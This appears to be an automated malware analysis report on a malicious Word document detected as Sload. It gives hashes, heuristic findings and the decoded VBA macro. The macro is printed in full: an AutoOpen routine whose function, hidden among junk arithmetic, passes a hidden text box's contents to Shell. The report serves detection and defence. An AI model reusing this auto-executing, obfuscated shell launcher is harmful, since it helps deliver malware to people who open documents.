Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 05eb7f0bb617ce84…

MALICIOUS

Office (OLE)

89.0 KB Created: 2018-12-19 05:58:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: be5c5625019ee2cebc9497c5e103857a SHA-1: cc3ba3f5ee620e2071be20af022ed0cb11e3ab8e SHA-256: 05eb7f0bb617ce84e26192f529e4ceff87ad07f9bdd340f8439c2321bae6ee5a
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro is present and triggers the execution of a function that uses the Shell() function, a critical heuristic firing. This indicates the macro is designed to execute arbitrary commands, likely to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature.

Heuristics 8

  • ClamAV: Doc.Malware.Sload-6788931-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sload-6788931-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                  End Select
    z29309 = Array(p84290541, K758941701, j376875662, Interaction.Shell(T85003864.TextBox1, 89 - 89), u779105657)
       Select Case X068
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
    Sub autoopen()
    b58668
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3837 bytes
SHA-256: cd0d1095732d809c5cff48db00db3afbf44da8b712309740f8964a35f1f3dd10
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "T85003864"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
b58668
End Sub

Attribute VB_Name = "S6815127"
Function b58668()
On Error Resume Next
   Select Case i8462
         Case 157690331
S8032 = h579
            R568 = Tan(v9498 - Round(U130) / 246201012 - Tan(s2545))
w9756 = a000
B129 = Round(W897 * Chr(304292776))
         Case 81999305
v125 = d5590
            h0153 = 8160891
q258 = w608
            k5997 = Round(l549 + Tan(V5652 + Log(107959240) - w0159 / Hex(89370660)))
              End Select
z29309 = Array(p84290541, K758941701, j376875662, Interaction.Shell(T85003864.TextBox1, 89 - 89), u779105657)
   Select Case X068
         Case 119237991
u4158 = a295
            q7117 = Tan(k4471 - Round(o170) / 52924692 - Tan(L297))
K044 = D509
T583 = Round(r095 * Chr(11816564))
         Case 80556679
r3415 = z732
            i923 = 194343155
N9734 = h080
            L446 = Round(V2201 + Tan(F1393 + Log(79748874) - T175 / Hex(67037505)))
              End Select
   Select Case r665
         Case 341953040
C7445 = w797
            a659 = Tan(l913 - Round(Z783) / 127305245 - Tan(K0660))
T660 = T3432
V0577 = Round(t7484 * Chr(190824985))
         Case 9759684
F1787 = I332
            M4359 = 303489695
S9440 = b579
            Z1065 = Round(P676 + Tan(j2738 + Log(148533095) - i369 / Hex(124310729)))
              End Select
End Function


Attribute VB_Name = "m24336478"

Attribute VB_Name = "i09233453287623"

Attribute VB_Name = "C778537235433"

Attribute VB_Name = "K9829146080015"

Attribute VB_Name = "z6862423"

Attribute VB_Name = "A09120795"

Attribute VB_Name = "E278181547"

Attribute VB_Name = "O4860898568"

Attribute VB_Name = "u604212895191"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "p3646675"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "I719657549651"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Q564627277327"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "K17715104"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "W8964317312"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False